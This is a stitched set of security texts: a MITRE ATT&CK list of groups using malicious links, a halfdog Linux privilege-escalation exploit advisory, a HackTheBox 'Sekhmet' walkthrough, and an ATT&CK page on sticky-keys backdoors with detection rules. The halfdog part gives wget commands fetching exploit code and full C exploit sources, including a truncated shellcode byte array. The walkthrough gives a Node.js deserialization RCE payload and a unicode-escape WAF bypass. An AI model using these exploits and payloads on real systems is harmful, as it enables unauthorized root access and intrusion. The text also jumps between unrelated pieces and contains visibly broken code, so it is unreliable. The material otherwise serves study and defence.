Bear has, in addition to email-based phishing attachments, used malicious websites masquerading as legitimate entities to host links to malicious files for user execution.[85][100] S Saint Bot Saint Bot has relied on users to click on a malicious link delivered via a spearphishing.[85] G Sandworm Team Sandworm Team has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.[101] G Sidewinder Sidewinder has lured targets to click on malicious links to gain execution in the target environment.[102][103][104][105] S SMOKEDHAM SMOKEDHAM has relied upon users clicking on a malicious link delivered through phishing.[106] S Snip Snip3 has been executed through luring victims into clicking malicious links.[107] S SocGholish SocGholish has lured victims into interacting with malicious links on compromised websites for execution.[72] S SpicyOmelette SpicyOmelette has been executed through malicious links within spearphishing emails.[26] S Squirrelwaffle Squirrelwaffle has relied on victims to click on a malicious link send via phishing campaigns.[108] G TA TA2541 has used malicious links to cloud and web services to gain execution on victim machines.[109][73] G TA TA505 has used lures to get users to click links in emails and attachments. For example, TA505 makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files. [110][111][112][113][114][115][116][117] G TA TA577 has lured users into executing malicious JavaScript files by sending malicious links via email.[52] G TA TA578 has placed malicious links in contact forms on victim sites, often spoofing a copyright complaint, to redirect users to malicious file downloads.[52] G Transparent Tribe Transparent Tribe has directed users to open URLs hosting malicious content.[75][76] S TSCookie TSCookie has been executed via malicious links embedded in e-mails spoofing the Ministries of Education, Culture, Sports, Science and Technology of Japan.[118] G
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versions_v17_techniques_T1204_001.txt
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Source: http://www.halfdog.net/Security/2016/UserNamespaceOverlayfsXattrSetgidPrivilegeEscalation/ ## Introduction ### Problem description: Linux user namespace allows to mount file systems as normal user, including the overlayfs. As many of those features were not designed with namespaces in mind, this increase the attack surface of the Linux kernel interface. Overlayfs was intended to allow create writeable filesystems when running on readonly medias, e.g. on a live-CD. In such scenario, the lower filesystem contains the read-only data from the medium, the upper filesystem part is mixed with the lower part. This mixture is then presented as an overlayfs at a given mount point. When writing to this overlayfs, the write will only modify the data in upper, which may reside on a tmpfs for that purpose. Due to inheritance of Posix ACL information (xattrs) when copying up overlayfs files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). On standard Ubuntu system, this allows to gain access to groups staff, mail, libuuid. ## Methods ### Target Selection: Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are: /usr/local/lib/python3.4 (root.staff) /var/lib/libuuid (libuuid.libuuid) /var/local (root.staff) /var/mail (root.mail) ### Exploitation: Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit. The following steps include command variants needed for different operating systems. They have to be executed in two processes, one inside the user namespace, the other one outside of it. ### Inside: test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c test$ gcc -o UserNamespaceExec UserNamespaceExec.c test$ gcc -o SuidExec SuidExec.c test$ ./UserNamespaceExec -- /bin/bash root# mkdir mnt test work root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test overlayfs mnt # Ubuntu Trusty root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test,workdir=work overlayfs mnt # Ubuntu Wily ### Outside: test$ setfacl -m d:u:test:rwx test # Ubuntu Trusty test$ setfacl -m d:u::rwx,d:u:test:rwx work/work # Ubuntu Wily ### Inside: root# chmod 02777 mnt/[targetdir] root# umount mnt ### Outside: test$ ./CreateSetgidBinary test/[targetdir]/escalate /bin/mount x nonexistent-arg test$ test/[targetdir]/escalate ./SuidExec /bin/bash test$ touch x test$ ls -al x -rw-r--r-- 1 test [targetgroup] 0 Jan 16 20:39 x --- CreateSetgidBinary.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * This tool allows to create a setgid binary in appropriate directory * to escalate to the group of this directory. * * Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c * * Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args] * * Example: * * # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg * # ls -al ./escalate * # ./escalate /bin/sh * * Copyright (c) 2015-2017 halfdog <me (%) halfdog.net> * License: https://www.gnu.org/licenses/lgpl-3.0.en.html * * See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information. */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <sys/resource.h> #include <unistd.h> #include <sys/wait.h> int main(int argc, char **argv) { // No slashes allowed, everything else is OK. char suidExecMinimalElf[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00, 0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00, 0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08, 0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8, 0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0, 0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x }; int destFd=open(argv[1], O_RDWR|O_CREAT, 07777); if(destFd<0) { fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno)); return(1); } char *suidWriteNext=suidExecMinimalElf; char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf); while(suidWriteNext!=suidWriteEnd) { char *suidWriteTestPos=suidWriteNext; while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; // We cannot write any 0-bytes. So let seek fill up the file wihh // null-bytes for us. lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET); suidWriteNext=suidWriteTestPos; while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd)) suidWriteTestPos++; int result=fork(); if(!result) { struct rlimit limits; // We can't truncate, that would remove the setgid property of // the file. So make sure the SUID binary does not write too much. limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf; limits.rlim_max=limits.rlim_cur; setrlimit(RLIMIT_FSIZE, &limits); // Do not rely on some SUID binary to print out the unmodified // program name, some OSes might have hardening against that. // Let the ld-loader will do that for us. limits.rlim_cur=1<<22; limits.rlim_max=limits.rlim_cur; result=setrlimit(RLIMIT_AS, &limits); dup2(destFd, 1); dup2(destFd, 2); argv[3]=suidWriteNext; execve(argv[2], argv+3, NULL); fprintf(stderr, "Exec failed\n"); return(1); } waitpid(result, NULL, 0); suidWriteNext=suidWriteTestPos; // ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf); } fprintf(stderr, "Completed\n"); return(0); } --- EOF --- --- UserNamespaceExec.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015-2016 halfdog <me (%) halfdog.net> * See http://www.halfdog.net/Misc/Utils/ for more information. * * This tool creates a new namespace, initialize the uid/gid * map and execute the program given as argument. This is similar * to unshare(1) from newer util-linux packages. * * gcc -o UserNamespaceExec UserNamespaceExec.c * * Usage: UserNamespaceExec [options] -- [program] [args] * * * --NoSetGroups: do not disable group chanages * * --NoSetGidMap: * * --NoSetUidMap: */ #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> extern char **environ; static int childFunc(void *arg) { int parentPid=getppid(); fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); while((geteuid()!=0)&&(parentPid==getppid())) { sleep(1); } fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); int result=execve(((char**)arg)[0], (char**)arg, environ); fprintf(stderr, "Exec failed\n"); return(1); } #define STACK_SIZE (1024 * 1024) static char child_stack[STACK_SIZE]; int main(int argc, char *argv[]) { int argPos; int noSetGroupsFlag=0; int setGidMapFlag=1; int setUidMapFlag=1; int result; for(argPos=1; argPos<argc; argPos++) { char *argName=argv[argPos]; if(!strcmp(argName, "--")) { argPos++; break; } if(strncmp(argName, "--", 2)) { break; } if(!strcmp(argName, "--NoSetGidMap")) { setGidMapFlag=0; continue; } if(!strcmp(argName, "--NoSetGroups")) { noSetGroupsFlag=1; continue; } if(!strcmp(argName, "--NoSetUidMap")) { setUidMapFlag=0; continue; } fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName); exit(1); } // Create child; child commences execution in childFunc() // CLONE_NEWNS: new mount namespace // CLONE_NEWPID // CLONE_NEWUTS pid_t pid=clone(childFunc, child_stack+STACK_SIZE, CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos); if(pid==-1) { fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno)); return(1); } char idMapFileName[128]; char idMapData[128]; if(!noSetGroupsFlag) { sprintf(idMapFileName, "/proc/%d/setgroups", pid); int setGroupsFd=open(idMapFileName, O_WRONLY); if(setGroupsFd<0) { fprintf(stderr, "Failed to open setgroups\n"); return(1); } result=write(setGroupsFd, "deny", 4); if(result<0) { fprintf(stderr, "Failed to disable setgroups\n"); return(1); } close(setGroupsFd); } if(setUidMapFlag) { sprintf(idMapFileName, "/proc/%d/uid_map", pid); fprintf(stderr, "Setting uid map in %s\n", idMapFileName); int uidMapFd=open(idMapFileName, O_WRONLY); if(uidMapFd<0) { fprintf(stderr, "Failed to open uid map\n"); return(1); } sprintf(idMapData, "0 %d 1\n", getuid()); result=write(uidMapFd, idMapData, strlen(idMapData)); if(result<0) { fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno)); return(1); } close(uidMapFd); } if(setGidMapFlag) { sprintf(idMapFileName, "/proc/%d/gid_map", pid); fprintf(stderr, "Setting gid map in %s\n", idMapFileName); int gidMapFd=open(idMapFileName, O_WRONLY); if(gidMapFd<0) { fprintf(stderr, "Failed to open gid map\n"); return(1); } sprintf(idMapData, "0 %d 1\n", getgid()); result=write(gidMapFd, idMapData, strlen(idMapData)); if(result<0) { if(noSetGroupsFlag) { fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno)); } else { fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno)); return(1); } } close(gidMapFd); } if(waitpid(pid, NULL, 0)==-1) { fprintf(stderr, "Wait failed\n"); return(1); } return(0); } --- EOF --- --- SuidExec.c--- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or
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41762.txt
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HTB: Sekhmet hackthebox htb-sekhmet ctf nmap ffuf subdomain nodejs express feroxbuster deserialization json-deserialization modsecurity waf filter bypass sssd kerberos zipcrypto bkcrack known-plaintext crypto hashcat kinit klist ksu tunnel smbclient proxychains command-injection watch tmux ldapsearch ldap password-spray kerbrute winrm evil-winrm dpapi mimikatz pypykatz edge-saved-passwords applocker applocker-bypass sharp-chromium sharp-collection htb-hathor htb-anubis htb-celestial htb-nodeblog htb-ransom htb-access osep-like cpts-like Apr 1, HTB: Sekhmet Sekhmet has Windows and Linux exploitation, and a lot of Kerberos. I’ll start exploiting a ExpressJS website vulnable to a JSON deserialization attack. To get execution, I’ll have to bypass a ModSecurity web application firewall. This lands me in a Linux VM. In the VM, I’ll find a backup archive and break the encryption using a known plaintext attack on ZipCrypto to get another user’s domain hash. On cracking that, I’m able to get root on the VM. As the domain user, I’ll access a share, and figure that there’s a text file being updated based on the mobile attribute for four users in the AD environment. There’s a command injection in the script that’s updating, and I’ll use that to get a hash for the user running the script. After password spraying that password to find another user, I’ll get access to the host and find DPAPI protected creds in the user’s Edge instance. On cracking those, I get domain admin credentials. Box Info Name Sekhmet Play on HackTheBox Release Date 10 Sep Retire Date 01 Apr OS Windows Base Points Insane [50] Rated Difficulty Radar Graph 04:31:28 jazzpizazz 21:37:04 jazzpizazz Creator 4ndr34z Recon nmap nmap finds two open TCP ports, SSH (22) and HTTP (80): oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11. Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-24 16:47 EDT Nmap scan report for 10.10.11. Host is up (0.086s latency). Not shown: 65533 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 13.58 seconds oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11. Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-28 12:35 EDT Nmap scan report for 10.10.11. Host is up (0.087s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http nginx 1.18. |_http-server-header: nginx/1.18. |_http-title: 403 Forbidden Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.07 seconds Based on the OpenSSH version, the host is likely running Debian 11 bullseye. This is interesting given that HTB shows Sekhmet as a Windows box. Probably VM or container. Subdomain Brute Force Visiting the site returns a redirect to www.windcorp.htb. Given the use of domains, I’ll use ffuf to fuzz for any other subdomains that respond differently. I use -ac to filter automatically, and -mc all to make sure I get any HTTP response codes: oxdf@hacky$ ffuf -u http://10.10.11.179 -H "Host: FUZZ.windcorp.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac -mc all /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0. ________________________________________________ :: Method : GET :: URL : http://10.10.11. :: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt :: Header : Host: FUZZ.windcorp.htb :: Follow redirects : false :: Calibration : true :: Timeout : :: Threads : :: Matcher : Response status: all ________________________________________________ [Status: 403, Size: 2436, Words: 234, Lines: 44, Duration: 110ms] * FUZZ: portal :: Progress: [19966/19966] :: Job [1/1] :: 278 req/sec :: Duration: [0:01:01] :: Errors: 0 :: It finds portal.windcorp.htb immediately. I’ll update my /etc/hosts file to include: 10.10.11.179 www.windcorp.htb windcorp.htb portal.windcorp.htb I’ll also make sure to comment out any lines from Hathor and Anubis, both of which used windcorp.htb. www.windcorp.htb - TCP Site The site is for a website creation / graphic design company: Click for full image There’s an email address right at the top, contact@windcorp.htb. There are some names of employees, but nothing that looks like a username. Tech Stack The HTTP headers show NGINX, but not much else: HTTP/1.1 200 OK Server: nginx/1.18. Date: Tue, 28 Mar 2023 16:41:41 GMT Content-Type: text/html Last-Modified: Thu, 18 Aug 2022 15:09:09 GMT Connection: close ETag: W/"62fe5615-8664" Content-Length: The 404 page is the default NGINX 404: This could be just NGINX hosting a static site. Directory Brute Force I’ll run feroxbuster against the site: oxdf@hacky$ feroxbuster -u http://www.windcorp.htb ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.9. ───────────────────────────┬────────────────────── 🎯 Target Url │ http://www.windcorp.htb 🚀 Threads │ 📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-small-words.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 🦡 User-Agent │ feroxbuster/2.9. 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 7l -w 153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 7l 9w 153c http://www.windcorp.htb/.inc 301 GET 7l 11w 169c http://www.windcorp.htb/assets => http://www.windcorp.htb/assets/ 200 GET 112l 805w 65527c http://www.windcorp.htb/assets/img/team/team-3.jpg 200 GET 13l 164w 15563c http://www.windcorp.htb/assets/vendor/swiper/swiper-bundle.min.css 403 GET 7l 9w 153c http://www.windcorp.htb/.axd 200 GET 359l 1883w 179493c http://www.windcorp.htb/assets/img/about-list-img.jpg 200 GET 747l 2343w 34404c http://www.windcorp.htb/ 200 GET 1l 133w 63781c http://www.windcorp.htb/assets/vendor/boxicons/css/boxicons.min.css 301 GET 7l 11w 169c http://www.windcorp.htb/assets/css => http://www.windcorp.htb/assets/css/ 301 GET 7l 11w 169c http://www.windcorp.htb/assets/js => http://www.windcorp.htb/assets/js/ 403 GET 7l 9w 153c http://www.windcorp.htb/assets/img/ ...[snip]... It returns a lot! I’ll let it run in the background, but it also makes the site really slow, so I’ll eventually conclude that there’s nothing really interesting here and kill it. A bunch of the identified information is 403s on files in /assets, which isn’t interesting. portal.windcorp.htb - TCP Site The site presents a login page: While just trying creds to see what the request looks like, I tried admin / admin and it worked! The next page doesn’t offer much: The “About” link goes to /about but nothing interesting: Tech Stack The HTTP response headers on portal show that it’s Express: HTTP/1.1 200 OK Server: nginx/1.18. Date: Tue, 28 Mar 2023 17:17:53 GMT Content-Type: text/html; charset=utf- Connection: close X-Powered-By: Express ETag: W/"42a-ceoj/qzu7pE8a4/5MOc2Roj9g0U" Content-Length: Visiting any url path on this host seems to return the login page as a 200 OK (no redirect). That’s a bit odd, and will make brute forcing paths with something like feroxbuster a bit odd (I turn out not to need this). When I log in, the response sets a cookie: HTTP/1.1 302 Found Server: nginx/1.18. Date: Tue, 28 Mar 2023 17:19:37 GMT Content-Type: text/html; charset=utf- Content-Length: Connection: close X-Powered-By: Express Set-Cookie: profile=eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOiIxIiwibG9nb24iOjE2ODAwMjM5Nzc1NzF9; Max-Age=604800; HttpOnly Location: / Vary: Accept Shell as webster on webserver Cookie Analysis The cookie is base64 data: oxdf@hacky$ echo "eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOiIxIiwibG9nb24iOjE2ODAwMjM5Nzc1NzF9" | base64 -d {"username":"admin","admin":"1","logon":1680023977571} I can edit the cookie to change the username or admin status, but there’s not much point, as I’m already admin with admin true. Deserialization Attack Background This post does a nice overview of how to abuse deserialization in NodeJS / Express. I’ve actually cited this exactly post twice before, in Celestial and Nodeblog. The unserialize function in NodeJS is not meant to accept user-controlled data, and can be exploited to get code execution. The post author generates this example payload: {"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }()"} Initial Attempt I’ll modify that payload to ping my server: {"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ping -c 1 10.10.14.6', function(error, stdout, stderr) { console.log(stdout) });\n }()"} Base64-encoding gives this, which I’ll set as my cookie: eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7XG4gXHQgcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BpbmcgLWMgMSAxMC4xMC4xNC42JywKZnVuY3Rpb24oZXJyb3IsIHN0ZG91dCwgc3RkZXJyKSB7IGNvbnNvbGUubG9nKHN0ZG91dCkgfSk7XG4gfSgpIn0= I’ll set that as my cookie in Firefox with the dev tools, and refresh the page. I don’t get pings, and the page shows I’ve been blocked by ModSecurity: The post shows a way to encode a reverse shell as a series of int that get passed to eval(String.fromCharCode()), but this is blocked as well. WAF Enumeration I want to figure out what’s getting blocked by the web application firewall (WAF). I’ll start removing parts of the (pre-base64-encoded cookie) and sending to see where it stops returning 403 Forbidden. {"rce":"_$$ND_FUNC$$_ still returns 403 Forbidden, but {"rce":"_$$ND_FUNC$$ returns a 500 Internal Server Error. The error isn’t surprising, as the malformed cookie will crash things. Still, it isn’t being flagged by the WAF Bypass / RCE There are many ways to bypass WAFs. One thing to try is different encodings. One that works here is encoding some bytes in unicode. Replacing one of the $ with \u0024 makes: eyJyY2UiOiJfJCRORF9GVU5DJFx1MDAyNF8= This is returns a 500 error! That’s bypassing the WAF (though it’s not clear yet that the server handles it correctly). I’ll start rebuilding the cookie a bit at a time, and when I get up to this, it triggers the WAF again: {"rce":"_$$ND_FUNC$\u0024_function (){ Encoding the { as \u007b: {"rce":"_$$ND_FUNC\u0024$_function() \u007brequire('child_process').exec('ping -c 1 10.10.14.6', function(error,stdout,stderr) {console.log(stdout) });\n}()"} Encoding this and sending it doesn’t return 500, but 200, with an ICMP echo request at my listening tcpdump: oxdf@hacky$ sudo tcpdump -ni tun0 icmp tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type
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2023_04_01_htb-sekhmet.html.txt
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Currently viewing ATT&CK v15.1 which was live between April 23, 2024 and October 30, 2024. Learn more about the versioning system or see the live site. - Home - Techniques - Enterprise - Event Triggered Execution - Accessibility Features Event Triggered Execution: Accessibility Features Other sub-techniques of Event Triggered Execution (16) ID Name T1546. Change Default File Association T1546. Screensaver T1546. Windows Management Instrumentation Event Subscription T1546. Unix Shell Configuration Modification T1546. Trap T1546. LC_LOAD_DYLIB Addition T1546. Netsh Helper DLL T1546. Accessibility Features T1546. AppCert DLLs T1546. AppInit DLLs T1546. Application Shimming T1546. Image File Execution Options Injection T1546. PowerShell Profile T1546. Emond T1546. Component Object Model Hijacking T1546. Installer Packages Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. [1] Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). [2] The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. [3] Other accessibility features exist that may also be leveraged in a similar fashion: [2][4] - On-Screen Keyboard: C:\Windows\System32\osk.exe - Magnifier: C:\Windows\System32\Magnify.exe - Narrator: C:\Windows\System32\Narrator.exe - Display Switcher: C:\Windows\System32\DisplaySwitch.exe - App Switcher: C:\Windows\System32\AtBroker.exe ID: T1546. Sub-technique of: T ⓘ Tactics: Privilege Escalation, Persistence ⓘ Platforms: Windows ⓘ Permissions Required: Administrator ⓘ Effective Permissions: SYSTEM Contributors: Paul Speulstra, AECOM Global Security Operations Center Version: 1. Created: 24 January Last Modified: 21 April Version Permalink Live Version Procedure Examples ID Name Description G APT APT29 used sticky-keys to obtain unauthenticated, privileged console access.[5][6] G APT APT3 replaces the Sticky Keys binary C:\Windows\System32\sethc.exe for persistence.[7] G APT APT41 leveraged sticky keys to establish persistence.[8] G Axiom Axiom actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence.[9] G Deep Panda Deep Panda has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions.[10] S Empire Empire can leverage WMI debugging to remotely replace binaries like sethc.exe, Utilman.exe, and Magnify.exe with cmd.exe.[11] G Fox Kitten Fox Kitten has used sticky keys to launch a command prompt.[12] Mitigations ID Mitigation Description M Execution Prevention Adversaries can replace accessibility features binaries with alternate binaries to execute this technique. Identify and block potentially malicious software executed through accessibility features functionality by using application control [13] tools, like Windows Defender Application Control[14], AppLocker, [15] [16] or Software Restriction Policies [17] where appropriate. [18] M Limit Access to Resource Over Network If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.[19] M Operating System Configuration To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later.[20] Detection ID Data Source Data Component Detects DS Command Command Execution Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Note: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on abuse of Accessibility Features. DS File File Creation Monitor newly constructed files that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. File Modification Monitor for changes made to files that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. DS Process Process Creation Monitor newly executed processes that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. An adversary can use accessibility features (Ease of Access), such as StickyKeys or Utilman, to launch a command shell from the logon screen and gain SYSTEM access. Since an adversary does not have physical access to the machine, this technique must be run within Remote Desktop. To prevent an adversary from getting to the login screen without first authenticating, Network-Level Authentication (NLA) must be enabled. If a debugger is set up for one of the accessibility features, then it will intercept the process launch of the feature and instead execute a new command line. This analytic looks for instances of cmd.exe or powershell.exe launched directly from the logon process, winlogon.exe. Several accessibility programs can be run using the Ease of Access center - sethc.exe handles StickyKeys - utilman.exe is the Ease of Access menu - osk.exe runs the On-Screen Keyboard - narrator.exe reads screen text over audio - magnify.exe magnifies the view of the screen near the cursor One simple way to implement this technique is to note that in a default Windows configuration there are no spaces in the path to the system32 folder. If the accessibility programs are ever run with a Debugger set, then Windows will launch the Debugger process and append the command line to the accessibility program. As a result, a space is inserted in the command line before the path. Looking for any instances of a space in the command line before the name of an accessibility program will help identify when Debuggers are set. The Windows Registry location HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options allows for parameters to be set for applications during execution. One feature used by malicious actors is the "Debugger" option. When a key has this value enabled, a Debugging command line can be specified. Windows will launch the Debugging command line, and pass the original command line in as an argument. Adversaries can set a Debugger for Accessibility Applications. The analytic looks for the original command line as an argument to the Debugger. When the strings "sethc.exe", "utilman.exe", "osk.exe", "narrator.exe", and "Magnify.exe" are detected in the arguments, but not as the main executable, it is very likely that a Debugger is set. Note: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic example looks for any creation of common accessibility processes such as sethc.exe but does no other filtering, which may result in false positives. Therefore, we recommend tuning any such analytics by including additional logic (e.g., testing the name of the parent process) that helps reduce false positives. Analytic 2 could depend on the possibility of the known strings used as arguments for other applications used in the day-to-day environment. Although the chance of the string "sethc.exe" being used as an argument for another application is unlikely, it still is a possibility. Analytic 1 - Command Launched from Winlogon (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode="1") OR (source="WinEventLog:Security" EventCode="4688") AND ParentImage="winlogon.exe" AND Image="cmd.exe"AND (CommandLine="sethc.exe"OR CommandLine="utilman.exe"OR CommandLine="osk.exe" OR CommandLine="narrator.exe" OR CommandLine="*magnify.exe" Analytic 2 - Debuggers for Accessibility Applications (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode="1") OR (source="WinEventLog:Security" EventCode="4688") | where CommandLine match "$. 